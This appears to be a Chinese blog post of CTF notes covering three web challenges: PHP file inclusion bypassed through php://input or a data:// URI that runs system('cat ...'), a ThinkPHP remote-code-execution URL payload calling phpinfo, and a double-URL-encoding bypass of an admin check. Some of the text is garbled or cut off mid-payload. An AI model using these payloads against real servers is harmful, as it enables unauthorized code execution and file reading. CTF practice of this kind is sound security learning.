当前位置:网站首页>ctf 记录
ctf 记录
2022-07-02 09:32:00 【freshfox】
源码审计
文件包含:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post 数据 php 代码。
2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce 漏洞在利用的时候注意payload
漏洞利用:
payload:
查看phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
查看敏感文件:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
第一步,要使得"admin"===$_GET[id]不成立
我们可以对admin进行url编码,当然也可以对其中一个字母编码我们这里对a进行编码:%61dmin
第一次实际比较if("admin"==="%61dmin") 不成立
1
第二步,经过G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);,使得$_GET[id] == "admin"成立。
经过urldecode解码后变成admin
第二次实际比较if("admin" == "admin"); 成立
1
**注意:**当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode
因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- 洛谷 P3398 仓鼠找 sugar(树上倍增 lca 判断树中两条路径是否相交 结论)
- TIPC protocol
- Rest (XOR) position and thinking
- JVM garbage collector
- Hdu1234 door opener and door closer (water question)
- Luogu p4281 [ahoi2008] emergency gathering / gathering (tree doubling LCA)
- Binary tree topic -- p1030 [noip2001 popularization group] find the first order
- 金山云——2023届暑期实习
- TIPC Cluster5
- [play with FPGA learning 4 in simple terms ----- talk about state machine design]
猜你喜欢
mmrotate旋转目标检测框架使用记录
Special topic of binary tree -- acwing 1497 Traversal of the tree (use post and mid order traversal to build a binary tree)
二叉树专题--AcWing 1589. 构建二叉搜索树
TIPC Service and Topology Tracking4
tqdm的多行显示与单行显示
【深入浅出玩转FPGA学习2----设计技巧(基本语法)】
2022爱分析· 国央企数字化厂商全景报告
[quick application] there are many words in the text component. How to solve the problem that the div style next to it will be stretched
How does the whole network display IP ownership?
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
随机推荐
spritejs
Special topic of binary tree -- Logu p1229 traversal problem (the number of traversals in the middle order is calculated when the pre and post order traversals of the multiplication principle are know
[in simple terms, play with FPGA learning 3 ----- basic grammar]
Rest (XOR) position and thinking
Iii. Système de démarrage et d'horloge à puce
K-d tree and octree of PCL
【付费推广】常见问题合集,推荐榜单FAQ
JVM之垃圾回收器
How to implement tabbar title bar with list component
二叉树专题--P1030 [NOIP2001 普及组] 求先序排列
Why does LabVIEW lose precision in floating point numbers
【深入浅出玩转FPGA学习2----设计技巧(基本语法)】
The most detailed MySQL installation tutorial
QT learning diary 8 - resource file addition
TIPC Service and Topology Tracking4
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
二叉树专题--AcWing 18. 重建二叉树(利用前、中序遍历,构建二叉树)
Win11 arm system configuration Net core environment variable
Matlab processing of distance measurement of experimental electron microscope
[quick application] there are many words in the text component. How to solve the problem that the div style next to it will be stretched